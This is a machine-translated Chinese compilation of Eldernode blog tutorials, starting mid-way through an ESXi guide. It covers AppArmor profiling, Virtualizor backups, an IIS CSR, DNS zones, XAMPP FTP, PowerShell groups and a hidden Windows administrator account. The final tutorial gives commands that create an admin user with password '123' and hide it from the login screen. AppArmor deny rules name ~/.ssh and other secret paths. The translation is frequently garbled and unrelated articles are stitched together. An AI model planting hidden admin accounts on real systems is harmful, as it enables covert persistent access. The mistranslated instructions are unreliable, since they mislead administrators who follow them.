在本节的最后一步,您必须选择上传的 ISO 文件。然后点击选择。现在,您需要返回到自定义设置页面来浏览和验证您的虚拟机信息。最后,点击完成创建一个虚拟机,在上面安装操作系统。
如何在 VMware ESXi 6.5 中安装 OS
注意: 在开始安装之前,我们必须提醒您,操作系统的安装因您选择的操作系统而异。
成功完成前两步后,就可以在 ESXi 上安装了。为此,您需要从导航器面板中点击虚拟机。
下一步是选择必须安装所需操作系统的虚拟机。最后你必须点击开机按钮。通过这样做并遵循操作系统安装说明,您将完成在 VMware ESXi 6.5 中创建和安装虚拟机的步骤。
结论
ESXi 是 vSphere 中的核心虚拟化应用程序。事实上,它是一种操作系统。因为在安装过程中,它直接安装在硬件上,不需要主机操作系统或主机。这个虚拟器是无主机应用程序的一部分,在速度和性能方面非常有效。ESXi 是 VMware 虚拟机管理程序软件系列的最新版本,它实际上允许您构建虚拟机并将资源分配给虚拟机。该管理平台建立在硬件和系统资源的基础上。实际上,这个程序的任务是控制和管理虚拟机之间的硬件资源。在本文中,我们尝试教您如何在 VMware ESXi 6.5 中创建虚拟机。
如何在 Ubuntu 18.04 - Eldernode 中创建 AppArmor 配置文件
原文:https://blog.eldernode.com/create-an-apparmor-profile-in-ubuntu-18-04/
App 应用装甲是一个用于安全目的的模块。作为管理员,您需要能够使用预编程配置文件来限制程序的功能。如果你用过 Ubuntu,你肯定用过它的安全特性,但是你没有被告知,因为它是默认包含的,并且在后台静默运行。让我们看看什么是 AppArmor 以及为什么需要创建它。加入我们这篇文章,学习如何在 Ubuntu 18.04 中创建 AppArmor 档案。如果你正在寻找一个完美和安全的 Linux VPS ,购买你首选的 Ubuntu VPS 包,继续阅读。
为了让本教程更好地发挥作用,请考虑以下先决条件:
拥有 sudo 权限的非 root 用户。
要进行设置,请按照我们的对 Ubuntu 18.04 进行初始设置。
教程在 Ubuntu 18.04 中创建 AppArmor 配置文件
AppArmor 配置文件是包含注释的简单文本文件,存储在 /etc/apparmor.d 目录中。它们提供一些功能,如网络访问、原始套接字访问,以及在匹配路径上读取、写入或执行文件的权限。如果你希望限制这些破坏性的安全漏洞,通过提供传统的 Unix D 授权 A 访问 C 控制模型,该方法可能是有效的。Ubuntu 开发者使用 AppArmor 来限制动作的进程。例如,Fedora 和 Red Hat 中的 SELinux 也像 Ubuntu 中的 AppArmor 一样被默认使用。它们的功能是一样的,提供 M 和 A 访问 C 控制。AppArmor 支持对文件、Linux 功能、网络、挂载、重新挂载和卸载、pivot_root、ptrace、signal、DBus 和 Unix 域套接字的访问控制。
创建一个外观档案
您可以使用以下命令来检查 AppArmor 的状态:
sudo apparmor_status
首先,要安装您想要限制的应用程序和一些有用的 AppArmor 实用程序,运行下面的命令:
sudo apt install apparmor-easyprof apparmor-notify apparmor-utils certspotter
如何生成基本档案
建议您使用最简单的启动方法。创建骨架轮廓。然后,您可以为您的目标设置 Apparmor to complain 模式,以使用 aa-logrof 工具来评估拒绝。要生成框架策略,您将使用 aa-easyprof 。
aa-easyprof /usr/bin/certspotter
# vim:syntax=apparmor # AppArmor policy for certspotter # ###AUTHOR### # ###COPYRIGHT### # ###COMMENT###
#include <tunables/global> # No template variables specified "/usr/bin/certspotter" { #include <abstractions/base> # No abstractions specified # No policy groups specified # No read paths specified
# No write paths specified }
将输出写入配置文件。
aa-easyprof /usr/bin/certspotter > usr.bin.certspotter sudo mv usr.bin.certspotter /etc/apparmor.d
使用下面的命令将概要文件加载到内核中:
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.certspotter
我们将为 certspotter 生成一个外貌特征。它还没有任何配置文件,是 Ubuntu 中的一个新工具。certspotter 所做的是监视证书透明性日志,以查看是否为监视列表中列出的域生成了新的日志。作为一名证书管理员,您需要设置一个 corn 作业,以便定期监控新条目。现在,让我们使用这个有用的工具。
运行 certspotter 会导致立即(安全)崩溃。
certspotter certspotter: /home/testuser/.certspotter/watchlist: open /home/testuser/.certspotter/watchlist permission denied
没有机会浏览源代码,所以您可以限制它在您的系统上的内容。因为基本配置文件不允许 certspotter 访问它需要的资源,所以您可以查看 AppArmor 拒绝消息来检查这里出了什么问题。
什么是外观和投诉模式
如果您安装了 audit,对于非 DBus 政策违规,AppArmor 拒绝将被记录/var/log/audit/audit . log。否则会记录到 /var/log/syslog 。表观拒绝率可能会在分析时造成一些问题,内核将限制它们。因此,在内核中安装 auditd 或调整速率限制来阻止这种情况发生:
sudo sysctl -w kernel.printk_ratelimit=0
还有一种方法来查看表面上的否认。您可以使用 aa-notify 工具。你会发现这是一个非常简单的程序,可以通过查询 var/log/syslog 来报告任何新的 AppArmor denials。再有如果你已经安装了 audited,它会查询/var/log/audit/audit . log。让我们看一个例子。
/usr/bin/aa-notify -s 1 -v
它会显示出最近一天所有的否认。如果您使用 aa-logprof 工具来评估 AppArmor 在投诉模式下生成的日志条目并开发这个配置文件,这可能是一个简单的方法。要了解如果您将 certspotter 的 AppArmor 配置文件设置为投诉模式会发生什么情况,请停留在此处。
sudo aa-complain certspotter
运行 certspotter 一次:
certspotter
如下所示,它会立即开始在日志中生成 AppArmor 条目。
Dec 24 13:34:24 tutorials audit[18643]: AVC apparmor="ALLOWED" operation="recvmsg" profile="/usr/bin/certspotter" pid=18643 comm="certspotter" laddr=10.0.2.15 lport=46314 faddr=10.0.2.16 fport=443 family="inet" sock_type="stream" protocol=6 requested_mast="receive" denied_mask="receive"
因为您尚未创建允许它访问网络的配置文件规则。
如何使用 aa-logprof 优化概要文件
您可以通过 aa-logprof 解析 AppArmor 消息并建议策略规则。它将允许 certspotter 在监禁下运行。
sudo aa-logprof Reading log entries from /var/log/syslog. Updating AppArmor profiles in /etc/apparmor.d. Complain-mode changes: Profile: /usr/bin/certspotter Path: /proc/sys/net/core/somaxconn New Mode: r Severity: 6 [1 - /proc/sys/net/core/somaxconn r,] (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N) ew / Audi(t) / Abo(r)t / (F)inish A
Profile: /usr/bin/certspotter Path: /etc/nsswitch.conf New Mode: r Severity: unknown
让 certspotter 读取这个文件,它指定了打开套接字连接的最大数量。键入 A 以允许它。
[1 - #include <abstractions/nameservice>] 2 - /etc/nsswitch.conf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N) ew / Audi(t) / Abo(r)t / (F)inish A
certspotter 从证书透明性日志中检索信息,它使用网络来完成这项工作。您可以随意使用现有的名称服务抽象,它允许常见的访问模式,或者您也可以特别允许这种与网络相关的首次访问。在/etc/apparmor . d/abstracts/name service中你可以查看抽象的细节。
Profile: /usr/bin/certspotter Path: /proc/sys/kernel/hostname New Mode: r Severity: 6 [1 - /proc/sys/kernel/hostname r,] (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N) ew / Audi(t) / Abo(r)t / (F)inish A
让 certspotter 知道系统的主机名是可以的。所以,做这个。
Profile: /usr/bin/certspotter Path: /home/testuser/.certspotter/watchlist New Mode: r Severity: 4 [1 - /home/*/.certspotter/watchlist r,] 2 - /home/testuser/.certspotter/watchlist r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N) ew / Audi(t) / Abo(r)t / (F)inish A
为了确定要监视哪些域,certspotter 会读取监视列表。你需要它为系统的所有用户工作,而不仅仅是为你自己。因此,第一个建议的规则比第二个效果更好。既然你知道 certspotter 用的是 。certspotter 目录来写它发现的信息、它的锁文件和其他数据,所以这个“r”(读)规则将是不够的。此外,您可以使用 @{HOME} 可调参数,而不是 globbed 路径。现在,接受它作为一个占位符,然后用一个 TODO 来润色它。
注意 : @{HOME} 是一个可以在轮廓外定义和操作的变量。
Profile: /usr/bin/certspotter Path: /home/testuser/.certspotter/version New Mode: r Severity: 4
[1 - /home/*/.certspotter/version r,] 2 - /home/testuser/.certspotter/version r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N) ew / Audi(t) / Abo(r)t / (F)inish
正如我们提到的,您可以修改监视列表规则,之后,您需要覆盖所有这些关于 HOME/中文件的条目。所以你会忽略这些建议的规则。
Enforce-mode changes: = Change Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/bin/certspotter] (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Change b/w (C)lean profiles / Abo(r)t S
一旦您保存了概要文件, aa-logprof 将自动重新加载概要文件。它会立即关闭所有关于 certspotter 使用网络的信息。
如何手动编辑个人资料
在这一部分,您应该返回并修改概要文件,以允许 certspotter 从 HOME/进行读写。号目录。
sudo vi /etc/apparmor.d/usr.bin.certspotter
这里需要改 /home//。certspotter/watchlist r* ,line to owner @{HOME}/。certspotter/ rw,** 。
******** glob 表示 certspotter 现在可以读写当前用户的 下的所有文件、目录和所有路径。certspotter 目录在自己的主目录下。是时候用你喜欢的信息修饰一下 ###COMMENT### 占位符了。然后,再次重新加载策略。
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.certspotter
表面上否认规则
为了确保 certspotter 不能从 HOME 中泄露一些数据,您需要添加一些规则。如果你添加明确的规则,他们可以防止配置文件错误,因为默认情况下,默认配置文件默认拒绝。
deny @{HOME}/Documents/ rw, deny @{HOME}/Private/ rw, deny @{HOME}/Pictures/ rw, deny @{HOME}/Videos/ rw, deny @{HOME}/fake/ rw, deny @{HOME}/.config/ rw, deny @{HOME}/.ssh/ rw, deny @{HOME}/.bashrc rw,
虽然这个系统上没有假目录,但策略规则仍然有效,如果有一天它被创建了,AppArmor 将对它执行规则。考虑到当您在指定目录本身时使用尾随的“/”时,AppArmor 能够区分文件和目录。所以,记得重装保单。
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.certspotter
要检查 certspotter 是否工作正常,请运行以下命令。
/usr/bin/certspotter
如果您看到它没有新的拒绝,您可以将 AppArmor 从该配置文件的投诉模式中取出,并将其设置为强制执行:
sudo aa-enforce certspotter
为什么拒绝规则不能被允许规则覆盖?因为你不能拒绝 certspotter 所有的 @{HOME} ,而只允许它访问 @{HOME}/。certspotter 。
正如项目建议的那样,您可以为 certspotter 添加一个玉米作业来进行最终测试。
crontab -e 33 14 * * * /usr/bin/certspotter
但是,建议您定期检查是否存在任何新的拒签。如果您希望练习不太常见的代码路径,您可以运行 certspotter 包测试并获得加分。
结论
在本文中,你已经学习了如何在 Ubuntu 18.04 中创建 AppArmor 配置文件。如果你已经从头到尾遵循了这个指南,你应该已经创建了你的第一个 AppArmor 个人资料。为了确保生成,您可以要求某人检查您的最终配置文件,以确保不授予特权。
In this article, you have learned How To Create An AppArmor Profile In Ubuntu 18.04. If you have followed from A to Z of this guide, you should have created your first AppArmor profile. To ensure the generating, you can ask someone to check your final profile for not granting the privilege.
如何在 Virtualizor - Eldernode 博客上创建和恢复备份
原文:https://blog.eldernode.com/create-and-restore-backup-on-virtualizor/
Virtualizor 是一个强大的基于 web 的 VPS 控制面板,支持虚拟机的全自动备份。凭借有用的功能和直观的界面,Virtualizor 适合需要增强业务的企业。它也适用于 VPS 服务提供商。在本文中,您将学习如何在 Virtualizor 上创建和恢复备份。要订购您认为合适的VP,请访问 Eldernode 并要求我们的技术团队为您提供指导。
教程在虚拟器上创建和恢复备份
Virtualaizor 是一个 VPS 控制面板,有助于在一台服务器上创建、部署、维护和管理多个虚拟专用服务器。之前,您已经了解了关于备份 Linux VPS 的所有内容。加入我们的指南,学习如何创建 VPS 备份,然后在 Virtualizor 上恢复备份。
如何在虚拟器上创建 VPS 备份
要创建 VPS 的备份,您可以使用 Create VPS Backup API。根据 VPS 的备份计划,VPS 的映像将存储在本地或远程。然后,你会在/var/virtualizor/log/backup/VPS id . log找到备份过程的日志文件。备份过程成功启动后,API 响应将包含“done”作为“1”。
注 : Virtualizor 支持 KVM、Xen、OpenVZ、Proxmox、Virtuozzo、LXC 等,内置按小时计费系统。最终用户面板上的备份仅用于 OpenVZ 。
什么是后备计划
要为同一服务器上的不同 VPS 创建不同的 VPS 备份设置,您需要备份计划。此外,可以将备份计划分配给单个 VPS 或整个 VPS 计划。
使用 Virtualizor,您可以通过三种方式备份 VPS:
1- FTP
2- SSH
3-本地备份
注意 :如果选择 FTP,只有配置了 FTP 备份服务器,才能配置设置。
如何为服务器设置备份计划
你需要通过三个主要步骤来建立一个备份计划。
首先,添加将进行备份的备份服务器。请遵循以下路径来完成此操作:
1-进入虚拟化管理面板>服务器>添加备份服务器
2-选择备份服务器类型 (SSH 和 FTP)和输入服务器凭证。
一旦添加了备份服务器,您就可以运行第二步了,并且创建一个备份计划。遵循下面的路径来做这件事。
Virtualizor 管理面板 > > 计划(菜单)> > 添加备份计划。
在第三步中,您将将备份计划分配给 VPS 。请考虑您将能够向单个 VPS 或 VPS 计划分配备份计划。因此,如果您需要将备份计划分配给某个特定的 VPS ,请遵循以下路径:
1-编辑 VPS: 虚拟服务器管理面板 > > 虚拟服务器(菜单)> > 列出所有 > > 编辑(按钮)
2-展开高级选项块,选择之前创建的备份计划。
为了分配与 VPS 计划相同的备份计划,您可以选择 与 VPS 计划 相同。因此,请遵循以下路径来完成此操作:
1-编辑 VPS 计划:虚拟管理面板->-计划(菜单)->-列出计划->-编辑(按钮)
展开“高级选项”块,并选择之前创建的备份计划。
如何在 Virtualizor 上恢复 VPS 备份
要恢复 VPS 的备份,您需要使用 Restore VPS Backups API 进行恢复。Virtualizor 允许您将 VPS 恢复到原始 VPS,或者使用备份映像创建一个新的 VPS。此外,您需要使用 Backup VPS Details API 来获取备份目录和使用日期的详细信息。启动恢复过程后,API 响应将包含“ restore_done ”作为“ true ”。
但是,您可以使用恢复备份来恢复服务器 VPS 上的备份。因此,我们来看一下本节的步骤,看看如何恢复 VPS:
第一步:
进入备份 > > 恢复 VPS 备份。
在顶部搜索栏中,您可以选择想要恢复哪些 VPS 的服务器。将更新最近 20 个任务和新的恢复任务。
在选择备份 VPS 字段中,选择要恢复的 VPS ,在选择服务器字段中,选择 VPS 备份所在的服务器。
您可以通过两种方式恢复 VPS 备份:
1-选择备用 VPS
2-选择服务器
通过选择备份 VPS 恢复 VPS 备份
如果需要选择要恢复的 VPS,必须使用以下方法:
在选择备份虚拟点字段中,选择虚拟点以查看要恢复的所选虚拟点的备份列表。
选择您想要恢复的 VPS 允许您按照 VPS 的备份计划更新选择服务器和选择目录。此外,要恢复相应日期的 VPS,请选择日期。
通过选择服务器 恢复 VPS 备份
如果需要选择 VPS 备份所在的服务器,必须使用以下方法:
如上图所示,有三个字段。第一个是您可以选择 VPS 所在的服务器。然后,在选择目录字段,选择 VPS 备份。最后,在 VPS 备份中选择日期。
选择所有必填字段后,您将获得一个包含个不同虚拟磁盘的备份列表,您可以从该列表中恢复任何虚拟磁盘。
注意 :如果 VPS 备份存在于另一个目录中,而不是在下拉列表中的目录中,在此之后还有另一个选项,您可以提供 VPS 备份所在的目录。
如您所见,前两个字段与上述字段相同。在下一个字段中,提供目录路径并点击扫描按钮扫描该目录。同样,选择 VPS 备份出现的日期。
恢复 VPS 类型
有三种不同类型的恢复虚拟处理器。让我们在这一节学习它们:
1-恢复
要恢复同一 VPS 中的备份,请单击恢复 VPS。
2-恢复到新的 VPS
要在一个全新的 VPS 中恢复备份,点击 restore to new VPS 。此外,您可以选择将在其上恢复 VPS 的服务器。
3-恢复到新服务器
如下图所示,您可以使用第三种类型进行恢复:
在第二个字段中,选择用户,然后选择要将虚拟机作为新虚拟机恢复到的服务器。当您选择服务器时,将从该服务器加载存储。最后,点击恢复按钮。
结论
在本文中,您了解了如何在 Virtualizor 上创建和恢复备份。要获得 VPS 的备份信息和备份文件路径的列表,可以使用 Backup VPS Details API。通过这种方式,您将查看发生 VPS 备份的数据以及以字节为单位的映像大小。
如何用 Virtualizor 创建备份服务
原文:https://blog.eldernode.com/create-backup-service-with-virtualizor/
Virtualizor 是一个强大的基于 web 的 VPS 控制面板,允许用户一键部署和管理 VPS 服务器。Virtualizor 支持 KVM 虚拟化技术以及其他一些技术。在本文中,我们将教你如何用 Virtualizor 创建备份服务。需要注意的是,如果你想买一个专用服务器,可以访问 Eldernode 网站上提供的平面图和位置。
虚拟人简介
Virtualizor 是 Softaculous 开发的一个方便易用的控制面板。它还拥有强大的 API 和实时统计数据,以及许多其他功能。管理员只需点击一个按钮就可以创建 VPS。VPS 用户可以使用高度先进的基于 web 的 GUI 来启动、停止、重启和管理他们的 VPS。您可以通过 Virtualizor 从管理面板管理备份、媒体和格式。请继续关注这篇文章,学习如何使用 Virtualizor 创建备份服务。
如何用虚拟器添加备份服务器
在熟悉了 Virtualizor 控制面板之后,在本节中,我们想学习如何添加备份服务器。您可能知道,Virtualizor 支持三种类型的备份:本地、SSH 和 FTP。
您应该注意的一点是,在本地备份的情况下,VPS 映像备份在节点服务器自己的目录中。还应该注意,对于远程备份,您需要添加备份服务器的详细信息,这可以使用 Add Backup Server API 来完成。
要添加备份服务器,你需要去 Virtualizor 管理面板>服务器>添加备份服务器。
成功添加备份服务器后,您需要确保将其添加到需要备份的 VPS 文件的备份计划中。或者,在添加备份服务器后,您应该使用测试备份连接 API 来测试到备份服务器的连接。
最后,当您在添加备份服务器时传递 gen_key,您将在 API 响应中收到公钥和私钥,如以下命令所示:
[keys] => Array ( [public_key] => ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFvWP35.... [[email protected]](/cdn-cgi/l/email-protection) [private_key] => -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAxb1j9+b66jRBBPRtVq+znA9nlqiGtW1WgcDN+0T0PTBb8Py5 CuWiUFQ4spQyqkRXi9Y1JT4g3+tAFHEpyCjZttoZivWE5gF/sL8IpG4pUmcVOwut yjiWW7yglPSVLsqIyCP4ooFJGQ8Bokx7k+zORlrLfAJC+F6fwIe/RyxjZOdD88S9...... [path] => /var/virtualizor/ssh-keys/ )
下一步,您需要将公钥添加到备份服务器的 /root/中。ssh/authorized_keys 喜欢下面的命令:
<?php require_once('/usr/local/virtualizor/sdk/admin.php'); $key = 'your_api_key'; $pass = 'your_api_pass'; $ip = 'your_server_ip'; $admin = new Virtualizor_Admin_API($ip, $key, $pass); $post = array(); $post['hostname'] = 'testhost'; $post['name'] = 'backupstest'; $post['type'] = 'SSH'; $post['username'] = 'test'; $post['password'] = 'test123'; $post['gen_key'] = 1; //pass only if you want to generate new keys $post['ssh_key'] = 1; //pass only if you want to use keys to authenticate $post['sshpub_key'] = 'YOUR PUBLIC KEY'; //pass only if ssh_key is set $post['sshpri_key'] = 'YOUR PRIVATE KEY'; //pass only if ssh_key is set $post['port'] = 22; $output = $admin->addbackupserver($post); print_r(json_encode($output)); ?>
在虚拟器中创建备份服务
如下图所示,添加备份服务器后,您需要创建一个备份计划。
Virtualizor 管理面板> >计划(菜单)> >添加备份计划
在下一步中,您需要将备份计划分配给 VPS。有趣的是,可以将备份计划分配给单个 VPS 或 VPS 计划。
要将备份程序分配给特定的 VPS,您可以通过参考以下路径来编辑 VPS:
Virtualizor 管理面板> >虚拟服务器(菜单)> >列表全部- > >编辑
如下所示,打开高级选项块,然后选择之前创建的备份计划:
请注意,为了将备份计划分配给 VPS 计划,您必须参考以下路径来编辑 VPS 计划:
Virtualizor 管理面板> >计划(菜单)> >列出计划> >编辑
如何用虚拟器配置备份服务
在这一节中,我们将解释 Virtualizor 中的备份设置。这个描述是基于本帖的第一张图片。
–禁用:禁用备份程序。请注意,禁用备份程序不会从 cron 运行它。此外,最终用户不能备份/恢复分配给此计划的所有 VP。
–备份服务器:上传 VPS 备份的备份服务器的名称。
–目录:这是 VPS 备份在备份服务器上存储的目录。
–备份频率:通过选择此部分中的一个选项,可以设置每小时、每天、每周、每月或手动备份过程。
–备份轮换:设置备份轮换。例如,如果 rotation 设置为 2,VPS 的最后两个备份将保留在服务器上。
–最终用户备份:创建尽可能多的备份。您可以设置备份副本数量的限制。
–最终用户恢复:根据用户需要创建任意数量的恢复副本。您可以设置恢复副本数量的限制。
–进程优先级:决定备份进程的优先级。较高的值表示低优先级,较低的负值表示高优先级。
–进程 I/O 优先级:优先级越高,磁盘时间越长。
–禁用压缩:这会减少 CPU 的使用,但会增加备份过程中的 IO 使用。需要注意的重要一点是,选择此选项会增加 VPS 备份的大小。
最后,您可以从以下路径搜索备份过程日志文件的故障排除/报告:
/var/virtualizor/log/backup/VPS id . log
/var/virtualizor/log/restore/VPS id . log
如何启动备份
要开始备份过程,您必须仔细遵循前面几节中提到的所有步骤。然后从控制台运行以下命令,以便立即完成备份过程:
/usr/local/emps/bin/php /usr/local/virtualizor/scripts/vpsbackups_plan.php -b<backup-plan-id> [options]
选项:
-f 强制备份,即使备份计划被禁用
结论
注意,Virtualizor 本身并不是一个虚拟器。Virtualizor 只是一个控制面板。也就是说,它使用虚拟化技术来创建虚拟机或 VPS,并自动执行分配它的步骤。由于使用此控制面板的重要性,有必要学习如何通过 Virtualizor 进行备份。在本文中,我们试图教你如何用 Virtualizor 创建备份服务。如果你有任何问题,你可以在评论区和我们分享。
教程以及如何在微软 IIS - ElderNode 博客中创建 CSR
教程以及如何在微软 IIS 中创建 CSR
在这篇文章中,我们将教你如何在微软 IIS 中创建 CSR 。SSL 是一种用于保护用户和网络服务器之间通信的协议。要在 SSL 下通信,您的网站上必须安装 SSL 证书。
在订购您的 SSL 证书之前,您必须首先在您的服务器上生成一个 CSR ( 证书签名请求)。CSR 是包含公司信息和域名的加密文本。这个名为“您的网站服务器配置文件”的文件随后被发送到 SSL 发行公司,以便根据这些规范发行 SSL 证书。
以下是在 IIS 中创建 CSR 的步骤。和我们在一起。
如何在微软 IIS 中生成 CSR?
1。T3 通过点击开始菜单选择管理工具。然后点击互联网信息服务 ( IIS ) 管理器查看 IIS 管理软件。
注: 如果你也在开始菜单中搜索 IIS,就可以看到相关的软件。
2。 点击服务器名称。
3。从页面中间的 选项中,在 IIS 部分,双击服务器证书上的。
4。 然后从页面右侧的动作部分,点击创建证书请求。
这将打开申请证书向导。
5。在 的专有名称属性窗口中,输入如下信息:
——常用名称: 证书名称通常作为域名输入。
例如,输入 www.eldernode.com 的或者 mail.eldernode.com的。
注意: 普通证书只支持一个地址。您在此部分输入的名称必须基于要颁发证书的地址。
教程在 Microsoft IIS 中创建 CSR
还有一种 SSL 叫做通配符,它覆盖了一个域的所有子域。这些类型的证书更贵。如果您有一个通配符证书,当在通用名称字段中创建 CSR 时,您必须输入一个带有星号“ * ”的域名:
*.YourDomain.com
— 组织: 组织或公司的注册法定名称。
— 组织单位: 您所在组织或公司相关部门的名称。
— 城市/地点: 您所在单位或公司所在城市的名称。
— 州/省: 贵单位或公司所在的省。
——****国家/地区: 是两个字母的国家代码。
6。T3 点击下一个。
7。 在密码服务提供商属性窗口中,分别设置选项为微软 RSA SChannel 和 2048 。然后点击下一个。
8。T3 指定 CSR 文件的名称。
提示: 记住文件名和保存的位置。
需要时,您应该将 CSR 文件作为文本文件打开,并将其所有内容复制粘贴到证书的在线订购流程中。
更多关于 SSL 的信息,可以关注下面的链接:
教程在 Debian 10 中为 Apache 创建自签名 SSL 证书
尊敬的用户,我们希望您能喜欢如何在微软 IIS 中创建 CSR,您可以在评论区提出关于本次培训的问题,或者解决 Eldernode 培训领域的其他问题,请参考提问页面,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
教程在 DNS 管理器服务器 2019 中创建正向查找区域- Eldernode
教程在 DNS Manager Server 2019 中创建正向查找区域。如你所知, 转发区 用于将名称转换为 IP 地址。在本文中,我们将执行创建该区域的设置步骤,如下所示。你可以从 eldernode 选择你最完美的 Windows VPS 服务器包。
如何在 DNS Manager Server 2019 中创建正向查找区域
1.在您的 active directory DNS 服务器上打开 DNS 管理器。
2.在前向查找区上右击,选择新区。
3.在新区域向导窗口中,点击下一步并继续。
4.在下一步中,选择您想要创建的区域的类型,并点击下一步。
5.选择默认设置并点击确定。
6.在区域名称字段中,输入您的外部域名。
注:我的外部域名是 eldernode.com
7.因为我们手动创建所有文件,所以在此阶段我们必须单击“不允许动态更新”。
8.点击下一个。
9.最后一步,点击 Finish 完成安装过程。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
Goodluck.
如何在 XAMPP 创建 FTP 教程 ElderNode 博客
如何在 XAMPP 创建 FTP 。在之前的文章中,我们教过你如何在 Windows 10 中安装 xampp。在这篇文章中,我们将教你如何在 XAMPP 创建 FTP。请和我们一起。
正如前面的教程中所解释的, Xampp 是一个免费软件,它能够在你的 Windows 上建立一个本地 web 服务器。要在 xampp 中设置 ftp,只需遵循几个简单的步骤,在你的 Windows 或 Windows VPS 服务器上设置 FTP。
了解如何在 XAMPP 创建 FTP
1。T3 打开 xampp 软件。
2。 点击旁边的选项 filezilla 到运行服务。
注意: 正确运行 ftp 服务后,端口写在服务名旁边。
如果你想让 ftp 服务在每次 Windows 重启后自动运行,请遵循以下步骤:
1。 点击配置选项。
2。在打开的窗口中选择 filezilla 服务,点击保存。
对你来说,通过 xampp 建立一个 ftp 服务就是这么简单。
接下来,转到 ftp 设置,这样就可以毫无问题地使用了。
XAMPP 软件中的 FTP 服务设置
1。 点击管理选项前面的 filezilla 名称。
2。T3 为你的管理员用户选择一个密码。(您可以将密码留空。)
3。T3 然后点击确定。
4。T3 在打开的页面中,从编辑菜单中选择用户选项。
5。页面右侧 ,点击添加,输入用户名,连接 ftp 。
注: 在本教程中,我们输入了用户名迈克尔。
6。 在常规部分添加用户名后,输入其密码。
7。 现在点击页面左侧的共享文件夹。
8。 点击添加选项。
9。T3 选择所需文件夹为 ftp 空间。
10。 最后,指定权限为 ftp 。
11。T3 点击确定结束。
这就是 ftp 设置的用武之地,你可以用 filezilla 之类的软件连接到 ftp 。
亦作,见:
了解如何使用 XAMPP 在 Windows 10 中设置 VPS
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者想解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何在 Windows 中使用 PowerShell - Eldernode 创建组
原文:https://blog.eldernode.com/create-group-in-windows-with-powershell/
Windows Powershell 是来自微软的一个强大的工具,它可以给你比你想象的更多的性能,当你使用这个强大的工具时,你可以看到它和命令提示符之间的巨大差异。在本文中,我们希望通过在 Windows 中使用 PowerShell 创建一个群来与您在一起,这样,如果您需要创建群,就可以使用它。
一般来说,一个组只包括一些能够设置不同访问权限的用户。
本教程基于 PowerShell 版本 5.1 及以上,默认安装在 Windows 10 和 Windows Server 2016 及以上。要在旧版本中使用此命令,您必须将相关模块添加到 PowerShell 中,或者使用命令提示符命令创建一个组。
如何使用 PowerShell 在 Windows 中创建组
在操作系统中创建用户和组有各种原因,其中最重要的是他们访问文件、文件夹等的权利。有几种方法可以确定访问权限,但我们不会在本文中讨论,但要考虑的一点是,您的系统上有许多用户,您需要平等地设置他们的访问权限。正是在这种状态下,群体找到了意义。关注我们,在 Windows by PowerShell 中创建一个群:
1- 首先用管理员权限打开 PowerShell 。
2- New-LocalGroup 命令用于在 PowerShell 中创建组。
该命令的结构通常如下。
New-LocalGroup –Name “GroupName” [Option]
在 PowerShell 中创建组的命令,就像创建用户的命令一样,并不包含不同的参数,只有几个简单的参数,在下面的示例中将使用这些参数来更好地了解它们。
使用 PowerShell 命令创建组的示例
New-LocalGroup –Name “Accountant” - Description “Accountant Dept”
在上面的命令中,创建了一个名为会计的组,其描述为会计部。
您可以在 PowerShell 中轻松创建群组。
结论
在本文中,我们试图教你如何用 PowerShell 在 Windows 中创建一个组。还教了一个例子让你更熟悉。
在 Windows 中创建具有管理员访问权限的隐藏用户- Eldernode
原文:https://blog.eldernode.com/create-hidden-user-in-windows/
在 Windows 中创建具有管理员权限的隐藏用户。在本教程中,我们将通过从 Windows VPS 服务器培训系列中创建一个隐藏用户,向您介绍管理员访问。
有许多方法可以在 Windows 中创建隐藏用户。有时它会帮助你避免黑客攻击,但它也可以用于盈利。
我们解释了一个使用隐藏用户的原因的例子,以找出更多关于它的积极方面。
例如,你有一个系统,平均几个人一起工作,而且是在网络上。登录时,每个人必须使用自己的用户登录。假设系统中有一个用户名,该用户名仅用于通过网络向该系统传输信息或远程传输信息。
这个用户不断在用户眼前,有时可能会选错。用户可能会意外地在该用户上输入他们的密码,这样该用户会被锁定一段时间,并且不再可用。
现在想象一下,你可以创建一个用户,并在网络和互联网上完全使用它,但它不以任何方式显示在登录菜单和用户开关中。
所以你需要在 Windows 中创建隐藏用户的原因有很多。
注: 本教程的说明已经在 Windows 7、8、8.1、10、Windows Server 2008R2、2012 和 Windows Server 2016 上测试过。
了解如何在 Windows 中创建隐藏用户
1- 首先,进入你的 Windows 环境。
2- 以管理员权限打开一个 CMD 或 powershell 窗口。
为此,你可以在开始菜单中搜索 CMD 或 Powershell,在上右击后,选择以管理员身份运行。
3- 然后输入以下命令创建用户。
net user Michael 123 /add
上面的命令将创建一个名为 Michael 的用户,密码为 123。
4- 然后输入以下命令,以便迈克尔成为管理员组的成员。
net localgroup Administrators Michael/add
5- 最后,输入下面的命令来完全隐藏迈克尔用户。
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v Michael/t REG_DWORD /d 0 /f
现在,您将拥有一个用户“Michael”,可以在网络上使用该用户并对系统进行远程控制。
该用户不显示在开始菜单和 Windows 登录页面。
6- 如果您需要这个用户显示在 Windows 登录页面上,请输入以下命令。
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v Michael/t REG_DWORD /d 1 /f
注 :内置用户无论隐藏还是可见,都可以在本地用户和组窗口中看到。
